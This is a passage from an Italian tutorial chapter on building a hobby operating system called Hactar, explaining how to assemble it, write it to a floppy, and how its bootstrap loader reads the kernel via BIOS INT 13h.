| ISP se prima non scriviamo: a) le funzioni per gestire tastiera, video, |
| memoria, dischi; b) una serie di drivers di gestione per i protocolli di |
| connessione; c) un browser e un mail client tanto per dirne un paio. |
| Dato che non abbiamo tre vite da usare 24 ore su 24, converra` cercare |
| aiuto da parte di qualche anima buona, anzi, molte anime buone, almeno |
| DOPO che il nostro sistema sara` in grado di far funzionare il PC. |
| |
| E ora, passerei anche al kernel, anche se credo che potro` parlarne ben |
| poco in questo capitolo. Per prima cosa, infatti, dobbiamo caricarcelo |
| in memoria. Vedremo che non e` una cosa tanto semplice. |
| |
| Eh... caricarlo... ma dove, e come? Se e` proprio il kernel che gestisce |
| sia i dischi che la memoria? Nessun problema: abbiamo il buon bootstrap |
| loader che e` fatto proprio per questo! Naturalmente tramite versioni |
| semplificate delle chiamate al BIOS che gestiscono tali dispositivi: |
| queste versioni semplificate si chiamano oggi "Legacy Interfaces", |
| interfacce che i PC moderni hanno avuto in eredita` (legacy) da quelli |
| passati. |
| |
| Ora vi mostro un bootstrap loader "serio", non come quel giocattolo che |
| avevo presentato nel primo capitolo. Visto che lavoreremo sul sorgente |
| di un S.O. che si chiama Hactar, che ho scritto interamente io, e che |
| e` del tutto inedito e diversissimo da quelli esistenti, prevedo che |
| sarete interessati all'idea, e in seguito delusi dal fatto di capirci |
| ben poco. Ma non fatevi prendere dal panico. Ora, non posso inserire il |
| sorgente del kernel QUI, vuoi perche` allungherebbe il capitolo fino a |
| far venire l'esaurimento nervoso a chi lo impagina, vuoi perche` in 72 |
| colonne non ci sta proprio. Decomprimete l'attachment LC.ZIP, in una |
| directory piazzata nella root del vostro disco "C" e chiamata LC, cioe` |
| selezionate come destinazione la directory "C:\LC". Non che non funzioni |
| se lo piazzate in un'altra directory, ma vediamo di fare le cose nello |
| stesso modo, per intenderci meglio in futuro. Aprite poi il file LC.ASM |
| usando i seguenti comandi dal prompt di MS-DOS: |
| |
| CD\LC (invio) |
| E (invio) |
| |
| Si, in quel file che vi troverete sullo schermo c'e` praticamente TUTTO |
| il kernel, fin dove sono arrivato a svilupparlo. Perche` non ve l'ho |
| presentato "a episodi"? Mah, sarebbe stato inutile: non sono mica qui |
| per vendervi un periodico... e cosa faro` allora nei prossimi capitoli, |
| dato che il kernel l'avete gia`? Be', a parte che il kernel senza moduli |
| di sistema e` un tantino inutile (ma non del tutto: quello di Hactar e` |
| un kernel molto particolare, ed ha delle capacita` tutte sue, che non |
| dipendono da moduli separati), in sostanza nei prossimi 250 milioni di |
| capitoli vi spieghero` come funziona quell'arnese. Va be', scherzavo... |
| forse ce la faremo in soli 225 milioni di capitoli. |
| Comunque, spezzarlo sarebbe servito a ben poco, perche` in tal modo non |
| ci sarebbe stato molto da vedere. Anche cosi, ricordatevi che gran parte |
| del kernel ha effetti "nascosti", che rimangono in sfondo all'attivita` |
| visibile dell'interfaccia di sistema. Uno dei piu` importanti di questi |
| effetti nascosti e` la gestione delle interrupt, chiamata nel caso di |
| Hactar, "flat-to-real mode interrupt switching". Hactar usa due tabelle |
| di interrupts, una in modalita` reale, e una in modalita` flat, ma |
| rimandiamo pure le spiegazioni dettagliate a dopo... |
| |
| Uhm... ovviamente non mi assumo responsabilita` per eventuali danni. |
| E ovviamente l'autore sono e resto io, e ne ho le PROVE. Il copyright |
| e` mio, e sebbene non voglia vendere il mio S.O. piu` recente, e non |
| voglia tenere il sorgente per me, assumere la paternita` dell'opera |
| mi serve per fare il... cioe`, per evitare che qualcuno possa usare |
| questo S.O. commercialmente, cioe` vendendolo. Non provateci nemmeno. |
| A meno che non mi paghiate i diritti... ma non lo consiglio: e` il tipo |
| di sistema che non va di moda oggi. E` solo il tipo di sistema che la |
| NASA probabilmente userebbe per guidare le Voyager in modo affidabile. |
| |
| Ora, parlando del bootstrap loader... no, ecco: ora vorrete vedere come |
| funziona, cosa riesce a fare, come si presenta. Farlo almeno partire, |
| insomma. Va bene! Togliamoci la curiosita`, che` poi si ragiona meglio. |
| |
| Fatemi almeno fare una piccola introduzione utile ad evitare problemi: |
| il sistema operativo ha due nomi, uno dei quali era il "nome in codice" |
| che usavo quando non avevo ancora stabilito quello definitivo. |
| Si chiama Hactar, e il suo nome in codice e` Lasting Child. |
| Quella esistente oggi e` una versione incompleta, un prototipo, che |
| io spero di portare a un livello accettabile di funzionalita` proprio |
| mentre voi seguite questi articoli. Non e` che non sappia come fare, |
| beninteso, e` solo che ci vorra` ancora un po' di tempo. |
| Comunque siete i primi a vederlo. In assoluto. Che scoop, eh? Boh? |
| |
| Il nome definitivo e` quello di un potentissimo quanto immaginario |
| computer che in un libro di Douglas Adams concepiva nientemeno che |
| "l'arma definitiva", che avrebbe potuto distruggere l'universo intero. |
| Tuttavia, non voleva farlo perche` avesse una personalita` malvagia, |
| ma solo perche` gli era stato ordinato di farlo da una razza di alieni |
| molto bellicosi, i cosidetti "Silastic Armorfiends of Striterax". |
| |
| Ecco: volendo trovare un parallelo, fate attenzione a NON chiedere ad |
| Hactar di formattarvi il disco rigido, per errore. Il disco rigido non |
| si chiama C, e nemmeno "hda". Si chiama MD01, emme di zero uno, sigla |
| di Mass Device 01, primo dispositivo di memoria di massa. Per contro, |
| la sigla che identifica il primo floppy, il drive A, e` RD01, ovvero |
| Removable Device 01. Per essere proprio sicuri di non autoformattarvi |
| il disco rigido, basta che non digitiate la sigla MD01 da nessuna parte, |
| sullo schermo. Per il resto, potete spippolare in liberta`... |
| |
| - Ho Linux sulla seconda partizione: quasi quasi formatto Windoze... |
| cosi, per provare come va... |
| - No, guarda che ti fotte anche Linux. Hactar non conosce partizioni, |
| solo drives fisici. La tabella delle partizioni non e` roba sua, e |
| lui la userebbe per il suo bootstrap loader. E buonanotte... |
| |
| Uhm... il nome in codice e` il titolo di una canzone degli Angra. |
| Significa pressappoco "Eterno Bambino", e sta a significare che Hactar |
| e` un qualcosa di non evoluto. Non intendo dire che non sia efficiente |
| e discretamente potente: e` piu` veloce di qualsiasi altro sistema noto, |
| incluso il V2 (www.v2os.cx), perche` il suo punto di forza e` l'estrema |
| semplificazione delle varie operazioni. Questo ne limita certe funzioni, |
| ad esempio non puo` essere usato per il multitasking, ma riserva molti |
| altri vantaggi. A parte la velocita`, e la ovvia stabilita`, Hactar e` |
| adattissimo allo scopo di questa serie di articoli: un S.O. partendo da |
| zero. Dato che Hactar rappresenta un valido archetipo, il suo kernel |
| puo` essere espanso, riadattato, riplasmato nella forma che vorrete, |
| una volta che avrete capito i principi su cui si basa. |
| |
| - Allora? Ce lo vuoi far PROVARE? |
| - Va bene. Andate al prompt del DOS. |
| |
| Scrivete CD\LC (+invio) per tornare nella directory di Hactar. |
| Poi scrivete UPDATE e premete invio. UPDATE e` un piccolo batch che si |
| occupa di chiamare l'assemblatore con i parametri corretti... FERMI, |
| aspettate un attimo! ...come vi avevo detto nel primo capitolo, per non |
| avere problemi dovreste procurarvi il Borland Turbo Assembler 3.1, piu` |
| il suo linker e alcuni files di supporto. Se avete il Borland C++ 3.1 |
| per DOS, dovreste avere anche l'assemblatore, in genere nella directory |
| BORLANDC\BIN. Almeno, io tanti anni fa, nei dischetti della scatola ce |
| l'ho trovato. Non posso fornirvelo io, pero`, perche` mi sa che sarebbe |
| una gran bella violazione di copyright. Come dissi nel primo capitolo, |
| i files di cui avete bisogno per assemblare qualcosa con il TASM sono: |
| |
| TASM .EXE 129.266 bytes |
| TLINK .EXE 150.569 bytes |
| DPMI16BI.OVL 60.672 bytes |
| DPMILOAD.EXE 22.212 bytes |
| DPMIMEM .DLL 24.932 bytes |
| |
| ...che, per il funzionamento di UPDATE.BAT, dovreste copiare nella |
| directory C:\LC dove avete estratto il sorgente e le varie utilities. |
| Se non usate queste esatte versioni dei files, cioe` quelle che uso io, |
| naturalmente non garantisco che non insorgano problemi... ma immagino |
| dovrebbe andare bene anche qualche altra versione del TASM. Quella piu` |
| recente costa 195 dollari; sarei anche tentato di comprarla, ma dal sito |
| non la vendono al di fuori degli USA, e qui non c'e` verso di trovarla. |
| |
| Allora, eravamo rimasti a scrivere UPDATE. |
| UPDATE compilera` (silenziosamente) tutto il kernel prendendolo dal |
| file LC.ASM e depositandolo nel file che si chiama "LC", senza nessuna |
| estensione, e di lunghezza fissata a 32256 bytes. |
| |
| Dopodiche`, UPDATE vi chiedera` di inserire un dischetto (vuoto, ma |
| formattato) nel drive A, e di premere un tasto quando siete pronti. |
| Poi chiamera` STREAM, il mio programmino per riversare il contenuto |
| del file sul dischetto cosi com'e`, senza usare il file system del DOS. |
| Quando tutto e` finito, per lanciare Hactar non vi rimane che riavviare |
| il computer, chiudendo la sessione di Windoze come al solito ma, com'e` |
| ovvio, LASCIANDO il dischetto nel drive. Se volete controllare se tutto |
| e` andato bene, confrontate la schermata del DOS con quanto segue: |
| |
| Assembling system code from LC.ASM... |
| |
| Target module name: LC |
| Assembling complete. |
| |
| Insert diskette to update in drive A and press any key. |
| Ctrl-Break will quit now, without deleting the assembled version. |
| ! Beginning |
| - Writing area 00:01:00 (TT:SS:HH, 0 sectors so far and going) |
| - Writing area 00:01:01 (TT:SS:HH, 18 sectors so far and going) |
| - Writing area 01:01:00 (TT:SS:HH, 36 sectors so far and going) |
| - Writing area 01:01:01 (TT:SS:HH, 54 sectors so far and going) |
| ! Complete |
| total sectors written: 63 |
| total bytes used: 32256 |
| last access: 9 sectors |
| first sector used: 00:01:00 |
| next free sector: 01:10:01 |
| |
| Ok, facciamo conto che non abbiate ancora il TASM e che siate curiosi: |
| LC l'ho gia` fornito anche in versione binaria. In tal caso, dovreste |
| solo andate nella sua directory, mettere un floppy in A e scrivere: |
| |
| STREAM LC 0 1 0 |
| |
| Nel caso usiate un'altra versione del TASM, potrebbe verificarsi qualche |
| problema di disallineamento dei tre segmenti che costituiscono il nucleo |
| del sistema, cioe` i segmenti "BootStrap", "MemoryManager" e "System32". |
| Questi sono risolvibili ponendo o ritoccando delle particolari costanti |
| di allineamento alla fine dei segmenti (i fillers). Il bootstrap non ne |
| ha uno perche` se compilato con TASM 3.1 viene esattamente 512 bytes, il |
| System32 non ne ha bisogno perche` e` l'ultimo segmento del nucleo, ma |
| per un esempio potete osservare la fine del segmento "MemoryManager": |
| |
| align 16 |
| dw 50 * 8 dup (0DB87h) |
| |
| ...che piazzano 50 paragrafi di allineamento (50 gruppi di 8 words). |
| Un paragrafo e` come un segmento in modalita` reale: e` lungo 16 bytes. |
| L'opcode di riempimento corrisponde a "xor bx, bx", pressoche` innocuo; |
| alternativamente potreste usare delle NOP (opcode 90h, di un byte). |
| |
| align 16 |
| db 50 * 16 dup (90h) |
| |
| Ora, a essere sinceri, la cosa migliore da fare sarebbe procurarsi un |
| computer "muletto", una macchina su cui fare i test, quando si vuole |
| modificare il sistema e poi lanciarlo. Riavviare molte volte non fa |
| precisamente bene al computer, ed in effetti io ho due computers qui, |
| uno su cui lavoro e l'altro su cui faccio le prove; piu` un portatile |
| per prove "accessorie" (i portatili sono PC un po' strani, a volte, e |
| sincerarsi che il sistema funzioni su uno di essi e` buona abitudine). |
| Quando mi dedico al ciclo "modifica e collaudo" di Hactar, tengo tutti |
| e tre i computers accesi, e nella stessa stanza. Questo e` il metodo |
| che vi consiglierei di adottare... anche se riconosco che avere piu` di |
| un PC nella stessa stanza non e` precisamente una condizione normale, |
| quando si e` a casa propria; magari fatevi vendere a prezzo stracciato |
| un vecchio PC da un amico... tanto non ne avrete bisogno molto presto. |
| Eccetto chi e` gia` molto esperto, non credo che la maggior parte dei |
| lettori sapra` modificare costruttivamente il sorgente di Hactar tanto |
| presto, anche se naturalmente nessuno vi proibisce di avventurarvi |
| (ma a vostro rischio e pericolo). |
| |
| E ora, se permettete, passiamo a capire come funziona Hactar, a partire |
| dal suo bootstrap loader, il quale carica TUTTO il sistema in un colpo: |
| in effetti, il kernel di Hactar e` un "nanokernel" la cui lunghezza e` |
| limitata, attualmente, a 28 Kb soltanto. Non sono neanche del tutto |
| riempiti, questi 28 Kb: ci sono altre funzioni da includere, e molte |
| ottimizzazioni da fare per comprimere quel che c'e` gia`. |
| |
| Il kernel e` memorizzato a partire dal secondo settore del disco, subito |
| dopo il settore che contiene il bootstrap loader. A differenza di molti |
| S.O. che sono legati alla dimensione standard di un settore (512 bytes), |
| Hactar puo` funzionare su dischi con settori di dimensioni maggiori, |
| anche se non puo` farlo su quelli di dimensioni minori (non c'entra il |
| bootstrap loader). Attualmente, comunque, pressoche` TUTTI i dischi, FD |
| o HD che siano, hanno settori di 512 bytes. Hactar e` inoltre immune dai |
| cambiamenti nella geometria fisica del drive, perche` quando su un disco |
| si memorizza una serie di dati, si usano tutti i settori contigui di una |
| stessa traccia, prima di passare alla testina successiva. Quando tutti i |
| settori di tutte le testine (di uno stesso cilindro) sono esauriti, si |
| passa infine alla traccia (o cilindro) successiva. Per dettagli sulla |
| geometria dei floppy da 1.44 Mb vi rimando al capitolo 1. Ora, esaminate |
| la funzione per leggere dei settori dal disco (Ralf Brown files): |
| |
| --------B-1302------------------------------- |
| INT 13 - DISK - READ SECTOR(S) INTO MEMORY |
| AH = 02h |
| AL = number of sectors to read (must be nonzero) |
| CH = low eight bits of cylinder number |
| CL = sector number 1-63 (bits 0-5) |
| high two bits of cylinder (bits 6-7, hard disk only) |
| DH = head number |
| DL = drive number (bit 7 set for hard disk) |
| ES:BX -> data buffer |
| Return: CF set on error |
| if AH = 11h (corrected ECC error), AL = burst length |
| CF clear if successful |
| AH = status (see #00234) |
| AL = number of sectors transferred |
| |
| in particolare, fate caso al valore del registro CL (CL e` di 8 bit): |
| i 6 bits meno significativi (bits da 0 a 5) sono quelli che contengono |
| il numero di settore da cui iniziare a leggere. Come sapete, 6 bits |
| permettono di accedere a valori da 0 a 63, quindi nel complesso si |
| potrebbe accedere a un totale di 64 settori, SENZA mai dover cambiare |
| testina o traccia di lettura (CH=numero traccia, DH=numero testina). |
| In realta`, i settori accessibili sono solo 63, perche` il settore |
| zero non esiste: sono l'unica entita` che viene numerata a partire da |
| uno, e riferirsi al settore zero causa solo un errore. |
| 63 per 512 bytes da` un totale di 32256 bytes, che vi fa capire perche` |
| SIA PROPRIO QUELLA la lunghezza del file "LC", la versione binaria del |
| sorgente. Per riprova, avete l'output di STREAM, che alla fine recita |
| "total sectors written: 63". |
| |
| Ma perche` sottostare a questa limitazione dei 63 settori, visto che |
| basta passare di testina in testina e poi di traccia in traccia, per |
| caricare tutto il resto del disco? |
| |
| Perche` e` falsa quest'ultima assunzione: ricordatevi che noi stiamo |
| usando la vecchia legacy ISA interface. Il caricamento dei primi 63 |
| settori dovrebbe essere l'unico compito svolto con questa interfaccia, |
| onde evitare qualsiasi problema con i dischi piu` grandi di 8.4 Gb. |
| Ci penseranno le funzioni del kernel ad accedere a tali dischi. |
| |
| Potremmo allora caricare piu` di una traccia (composta al massimo da |
| 63 settori)? In teoria si, in pratica preferisco non farlo: attualmente |
| i settori si sono tenuti sotto ai 63, ma niente impedisce che in futuro |
| la geometria fisica dei grossi dischi non RICHIEDA il superamento di |
| questo limite. Cosa succede, allora? Succede che non potremmo piu` |
| caricare il kernel, superato il 63esimo settore. Anche se sappiamo che |
| il disco ha, che so, 4096 settori per traccia, dopo il 63esimo la ISA |
| non ci fa piu` leggere, e passare alla prossima testina significherebbe |
| spostarsi ben 4096 settori piu` avanti. |
| |
| Altra caratteristica: il bootstrap loader di Hactar carica il kernel in |
| memoria UN SETTORE PER VOLTA. Anche per questo c'e` il suo motivo: |
| molti dischi possono continuare a leggere e scrivere attraversando la |
| superficie del disco di traccia in traccia (i crosstrackers); ma molti |
| altri no. Per evitare qualsiasi problema nel boot, non chiediamo al BIOS |
| di leggere, con una sola chiamata, tutti e 63 i settori: ne leggiamo uno |
| per volta e poi aumentiamo il valore di CL ad ogni nuova chiamata, |
| eventualmente cambiando MANUALMENTE testina e traccia. |
| Durante il boot (una frazione di secondo), infatti, potete vedere una |
| fila di puntini che "corrono" sull'ultima riga dello schermo: ogni |
| puntino rappresenta un settore letto in memoria dal bootstrap loader. |
| |
| Veniamo ai dettagli del bootstrap loader. |
| All'inizio del suo segmentino di codice c'e` questa roba qui: |
| |
| ADDRESS7C00: |
| jmp @@sVPB ; jmp to absolute offset 104 over VPB |
| BID dd 00h ; absolute offset: 02, size 4 bytes |
| NTK dd 50h ; absolute offset: 06, size 4 bytes |
| NHD dd 02h ; absolute offset: 10, size 4 bytes |
| SPT dd 12h ; absolute offset: 14, size 4 bytes |
| BPS db 09h ; absolute offset: 18, size 1 byte |
| STL db 00h ; absolute offset: 19, size 1 byte |
| vtoc dd 32256 ; absolute offset: 20, size 4 bytes |
| reserved1 dd 00000000h ; absolute offset: 24, size 4 bytes |
| cksum dd 'TEST' ; absolute offset: 28, size 4 bytes |
| sgntr dd 'VPBX' ; absolute offset: 32, size 4 bytes |
| reserved2 dd 00000000h ; absolute offset: 36, size 4 bytes |
| vlabel db 'Hactar' ; absolute offset: 40, size 64 bytes |
| db ' System Disk' ; . |
| db 46 dup (32) ; volume label padder |
| @@sVPB: cli ; * IRQ off (stack not ready) |
| |
| si tratta di un breve salto incondizionato (jmp @@sVPB) che passa ad |
| eseguire la prima, vera istruzione, del bootstrap loader (cli), per la |
| quale vi rimando al primo capitolo. Che cosa viene saltato, in quanto |
| non si tratta di istruzioni eseguibili? Si tratta di dati: e` una |
| tabella chiamata VPB (Volume Parameters Block). In essa ci sono d

  
elle |
| informazioni di *vitale* importanza per la gestione del boot e |
| dell'accesso al disco in genere. Il VPB riflette la geometria fisica |
| del disco (BID, Bios ID, NTK, Number of TracKs...) e la funzione di |
| ognuno dei campi e` spiegata tra i commenti introduttivi del sorgente. |
| Anche se altri S.O. usano la sigla VPB, ricordatevi che Hactar usa un |
| VPB "proprietario", non compatibile con gli altri: e` necessario per |
| non avere problemi con la dimensione dei campi (quasi tutti a 32 bit, |
| e per cui molto lungimiranti). Ora vediamo la fase di lettura: |
| |
| @@read: mov cx, di ; ¿ CL = current sector |
| mov bx, bp ; ³ BX = current track |
| mov ch, bl ; ³ CH = track number |
| mov ax, 0201h ; ³ read 1 sector per call (AL = 01) |
| xor bx, bx ; ³ offset zero of destination segment |
| int 13h ; Ù LEGACY ISA DRIVE SERVICES |
| jnc @@done ; ¿ check error status throught carry |
| cmp ah, 11h ; ³ error code: corrected ECC/CRC |
| je @@done ; ³ (go on, that wasn't a real error) |
| cmp ah, 06h ; ³ error code: disk changed |
| je @@read ; ³ (ok, we realized it's changed) |
| jmp @@crit ; Ù else, there's nothing left to do |
| |
| da notare che al ritorno dalla chiamata ad int 13h (il dispatcher dei |
| servizi disco) per prima cosa viene controllato il carry, il quale in |
| molti casi viene trattato dai dispatchers come un segnale, che indica |
| una condizione di errore generico. Il codice d'errore vero e proprio, |
| l'interfaccia ISA ce lo fornisce nel registro AH. Anche qui, bisogna |
| fare attenzione a due casi particolari che NON sono davvero errori: il |
| codice 11h ed il codice 06h. L'11h significa che il drive ha trovato un |
| blocco del disco (uno o piu` settori) per il quale c'e` stato un errore |
| di trasferimento dei dati. Alcuni drives piu` evoluti possono correggere |
| tali errori, che spesso sono transitori, automaticamente, in genere |
| ripetendo la lettura/scrittura. Quindi, se riceviamo il codice 11h non |
| significa che l'operazione di lettura e` stata rovinata, ma il BIOS ci |
| informa che ha dovuto correggere un errore. Poi c'e` il codice 06h, il |
| quale ha uno scopo puramente informativo: avverte che il drive ha la sua |
| "disk change line" attivata. Significa, in pratica, che un dischetto, o |
| un qualsiasi media rimovibile, e` stato espulso e poi reinserito nel |
| drive. In genere, vuol dire che e` stato cambiato il disco. Diversamente |
| dalle funzioni di lettura/scrittura (piu` evolute) del kernel, il |
| bootstrap loader non si cura del segnale di cambio disco: si limita a |
| prenderne atto e a ripetere la lettura; la lettura viene ripetuta |
| perche` il BIOS giustamente non si assume la responsabilita` di leggere |
| o scrivere senza avere una conferma, dal S.O., che il disco e` quello |
| giusto; il segnale di cambio disco viene ignorato perche` durante il |
| boot e` pressoche` SEMPRE attivo, alla lettura del primo settore, dato |
| che e` la prima lettura effettuata dopo che il disco e` stato inserito |
| nel drive. Potreste essere intelligenti e notare che in realta` la prima |
| lettura e` stata quella fatta dal BIOS stesso per caricare in memoria i |
| 512 bytes del bootstrap loader. Vero: pero`, quella in particolare, e` |
| un'operazione interna, e non modifica il segnale di cambio disco. |
| Se pero` il codice non e` ne` 11h, ne` 06h, il problema e` serio, e |
| l'errore c'e` davvero. In tal caso, be', il bootstrap puo` solo reagire |
| chiedendo di premere un tasto per riavviare (intrinsecamente dopo aver |
| cambiato il disco, o dopo averlo tolto per far avviare il disco rigido). |
| Se vi capita, buttate il dischetto nel cestino e tenetelo piu` lontano |
| dal cellulare, la prossima volta. Anzi, buttate anche il cellulare... |
| |
| La lettura avviene progressivamente, 512 bytes per volta, spostando il |
| segmento di destinazione dei dati. Per la ISA, questo segmento e` dato |
| dal registro di segmento chiamato "ES". I registri di segmento (CS, DS, |
| ES, FS, GS, SS) si usano insieme a quelli degli offset (BX, BP, SI, DI) |
| per accedere alla memoria in modalita` reale (vedi capitolo 2). |
| Per la ISA, l'indirizzo di destinazione dove piazzare i dati letti dal |
| disco e` dato dalla combinazione ES:BX, dove ES contiene il segmento di |
| destinazione e BX l'offset. Come saprete dal capitolo 2, ogni segmento |
| e` allineato sui bordi di "gruppi" di bytes di 16 byte ciascuno, e puo` |
| estendersi fino a 64 Kb. Il kernel deve essere caricato a partire da |
| una locazione di memoria fissa, la 0800h:0000h, oppure 0000:8000h, che |
| dista 32Kb dall'inizio della memoria, e che, mappa della memoria alla |
| mano (capitolo 1), rappresenta la prima locazione libera. |
| Per cui, il registro ES viene inizialmente assegnato a: |
| |
| mov ax, @discst/16 ; ¿ system code segment (@discst/16) |
| mov es, ax ; Ù ES = 7E0h, 31.5K from address zero |
| |
| e poi viene fatto avanzare, dopo ogni lettura di un settore, di 512/16 |
| unita`, in quanto 16 bytes e` appunto l'allineamento dei settori. Questo |
| compito di "avanzamento" viene svolto dalle seguenti istruzioni: |
| |
| sub BPS, 4 ; * make BPS in paragraphs, not bytes |
| ...(omissis)... |
| @@smcy: mov cl, BPS ; ¿ set bitwise shifter |
| mov ax, 1 ; ³ we've read 1 sector |
| shl ax, cl ; ³ AX = n. of data paragraphs read |
| mov bx, es ; ³ BX = above destination segment |
| add bx, ax ; ³ BX = next destination segment |
| mov es, bx ; Ù ES = new destination segment |
| jmp @@read ;  restart the loop to next sector |
| |
| (BPS, che per dischi con 512 bytes per settore vale 9 (2^9 = 512) viene |
| diminuito di 4 unita`, in quanto 2^4 = 16. "L'animazione" del registro |
| ES avviene tramite "shifting" dei bits. Si, mi piacerebbe spiegare anche |
| cosa significa questo: in sintesi, si tratta di un modo per dividere e |
| moltiplicare per potenze di due piu` velocemente e in modo piu` compatto |
| che usando operazioni aritmetiche. E` un po' "come togliere o aggiungere |
| degli zeri" in decimale per moltiplicare e dividere per potenze di 10. |
| In sintesi, per ogni bit di spostamento a sinistra, SHL, di un valore |
| binario E intero, si ha un fattore 2 di moltiplicazione, mentre per ogni |
| bit di spostamento a destra, SHR o SAR, si ha un fattore 2 di divisione. |
| Ma per i dettagli vi rimando ancora a un manuale di assembly: non vorrei |
| sembrare superficiale, perche` non e` nelle mie intenzioni lasciare |
| qualcosa di non spiegato, ma nel caso dovessi spiegare tutto su ogni |
| singola istruzione la cosa diventerebbe molto, molto lunga, e inoltre |
| annegherebbe il resto. Il sorgente e` MOLTO commentato, comunque.) |
| |
| Anche in quel caso la quantita` non e` fissa, anche se attualmente sara` |
| in effetti di 512/16. Dipende dalla lunghezza di un settore, data dalla |
| variabile BPS (Bytes per Sector). Perche` 7E0h e non PROPRIO 800h? Be', |
| per prima cosa dovete sapere che il codice del bootstrap di Hactar non |
| superera` MAI i 512 bytes, anche se forse i settori in futuro saranno |
| piu` grandi. 512 bytes bastano e avanzano per quel che deve fare. |
| In secondo luogo, tenete presente che il segmento 7E0h dista 512 bytes |
| dal segmento 800h dove deve essere caricato IL RESTO del nucleo del |
| sistema (intendendo per "nucleo" = bootstrap + kernel). Ma se bootstrap |
| loader e kernel, sul floppy da 1.44 Mb e su tutti dischi con 512 bytes |
| per settore, sono posti in settori fisicamente diversi, a Hactar questo |
| non importa un gran che: il nucleo e` visto come un "monoblocco" di roba |
| senza confini netti; insomma, i primi 512 bytes, al di la` del fatto che |
| riempiano o no tutto il primo settore del disco, contengono il codice di |
| avviamento, quello che forma il bootstrap loader. Subito dopo di essi, |
| viene registrato il kernel. Quindi, leggendo a partire da 7E0h, a 512 |
| bytes dal segmento 800h dove vogliamo che il kernel si trovi, facendogli |
| riversare il contenuto del disco cosi com'e`, tutto d'un colpo, abbiamo |
| automaticamente piazzato il kernel nel segmento 800h, e al 7E0h avremo, |
| per effetto collaterale, un'inutile copia del bootstrap loader. Vedremo |
| poi che questo "buco di memoria" di 512 bytes non rimarra` inutilizzato. |
| Ma perche`? Non si potrebbe leggere direttamente dal SECONDO settore in |
| poi, visto che al secondo settore comincia il kernel? Be', tutti i S.O. |
| di cui ho esaminato il bootstrap fanno qualcosa del genere. Ma Hactar, |
| come ho rimarcato piu` volte, non vuole legarsi all'assunto che un solo |
| settore prenda 512 bytes; se infatti leggessimo dal secondo settore di |
| un disco che annovera ben 1024 bytes per settore, ci troveremmo senza |
| volerlo in una di due situazioni problematiche: |
| |
| a) lasciando le cose come stanno, in memoria si caricherebbe solo PARTE |
| del kernel, perche` se il kernel e` "attaccato" al bootstrap loader, |
| ed il segmento 2 comincia 512 bytes dopo l'inizio del kernel, si |
| salterebbero a pie' pari ("a testin' pari") i suoi primi 512 bytes: |
| osservate lo schemino, ASCIIzzato e imbruttito perche` l'EDIT del DOS |
| e` ormai in disuso. Nel kernel ce n'e` uno che e` ancora piu` potente |
| come generatore di mal di testa... quello ve lo spieghero` in futuro. |
| |
| settore 1 settore 2 settore 3... |
| | | | |
| ^-----------|-----------^-----------------------^---- Ä Ä |
| | | | | |
| | 512 bytes |-----------|--- kernel ------------|--- -- - |
| | | | | |
| ^-----------|-----------^-----------------------^ÄÄÄÄ Ä Ä |
| | | | |
| inizio fine inizieremmo a leggere da qui, |
| bootstrap bootstrap saltando quel che c'e` fra questo |
| loader loader punto e la fine del bootstrap loader |
| |
| b) se decidessimo di sorvolare questo problema mettendo 512 bytes di |
| riempimento tra il bootstrap loader e il kernel, oppure se volessimo |
| registrare incondizionatamente il kernel a partire dal secondo |
| settore del disco, per prima cosa sprecheremmo 512 bytes di memoria, |
| perche` 1024 - 512 = 512, e questa, data la dimensione massima del |
| nucleo (31.5K), potrebbe essere una perdita significativa, e avremmo |
| anche un altro problema, per come verra` impostato poi il kernel: |
| infatti, le funzioni del kernel che si occupano dell'I-O su disco |
| operano in uno schema FLAT a 64 bit, che non "vede" i settori fisici |
| ma soltanto i bytes che li compongono. |
| |
| Cos'e` lo schema FLAT? L'avete sentito dire tante volte in questi miei |
| articoli. E` molto semplice da capire: avete presente il modo in cui in |
| modalita` reale si accede alla memoria, con indirizzi che vengono divisi |
| in segmento ed offset? Ecco: quello NON e` uno schema FLAT. Si tratta di |
| un'organizzazione della memoria chiamata "segmentazione", appunto. |
| Lo schema FLAT e` tutto l'opposto: non c'e` nessun segmento e nessun |
| offset, ma molto piu` semplicemente si numerano tutti i bytes di memoria |
| a partire da zero, fino all'ultimo che sia disponibile e indirizzabile. |
| Hactar usa due distinti schemi FLAT per indirizzare la memoria: per la |
| memoria RAM usa 32 bit, che indirizzano fino a 4 Gigabyte; per quella di |
| massa, ovvero floppy, hard disk, CD-ROM... usa 64 bit, che indirizzano, |
| in teoria, ben 16 milioni di Terabytes. MA attenti: solo in teoria, |
| perche` l'aritmetica binaria che viene usata nelle funzioni di I-O di |
| fatto limita lo spazio indirizzabile a 2 soli Terabytes, ovvero a 2048 |
| Gigabytes. Non mi aspetto che questo basti in futuro, ma al momento mi |
| fermo a questo range di indirizzi, corrispondente a 41 bit. |
| Che cifra strana, 41 bit... be', per il futuro non avremo problemi, |
| perche` in ogni caso il minimo ammontare di registri per contenere un |
| valore di 41 bits e` pari a due registri di 32 bit, ovvero a 64 bit |
| (tutte le funzioni del kernel usano esclusivamente registri a 32 bit). |
| Quindi, nell'I-O useremo comunque valori di 64 bit, solo che dovremo |
| stare attenti a non accedere oltre al 41esimo. Oh, comunque, al momento, |
| se avete un disco piu` grande di 2 Tb, regalatemelo e per premio vi |
| riscrivo le funzioni di I-O in modo che lo possano gestire; ma fate |
| presto: l'offerta e` valida fino al 31 dicembre del 2002. ;) |
| Si tratta di 41 bit perche` alla fine, quando il kernel deve effettuare |
| una lettura o una scrittura, tali indirizzi FLAT devono essere comunque |
| convertiti in coordinate CHS di settore, oppure, a seconda del tipo di |
| drive e di BIOS, in coordinate LBA. A ogni modo, 41 bit discendono dal |
| fatto che se i settori rimangono di quel minimo di 512 bytes ciascuno, |
| e per fare i calcoli piu` semplicemente e rapidamente usiamo registri |
| di 32 bit "naturali" ai nostri processori attuali, be', allora alla fine |
| abbiamo 9 bit, dati da 512 bytes (2^9 byte), piu` i 32 bit del registro, |
| e quindi 32 + 9 = 41. L'ammontare di memoria indirizzabile, di 2 Tb, e` |
| comunque piuttosto ampio e vedremo che Hactar, nel suo file system, |
| marcera` proprio sulla piu` bella caratteristica dei dischi odierni: |
| quella di essere immensi. |
| |
| Chiudendo la digressione e tornando al problema della situazione b, |
| e` chiaro che se posso gestire il disco linearmente, senza interruzioni |
| nella continuita` della sua memoria, mi risulta piu` scomodo usare la |
| vecchia (prima della rivoluzionaria funzione "VolumeIO" del kernel di |
| Hactar, della quale vado MOLTO, MOLTO fiero) suddivisione in settori. |
| Infatti, per esempio, c'e` una funzione che formatta i dischi: si chiama |
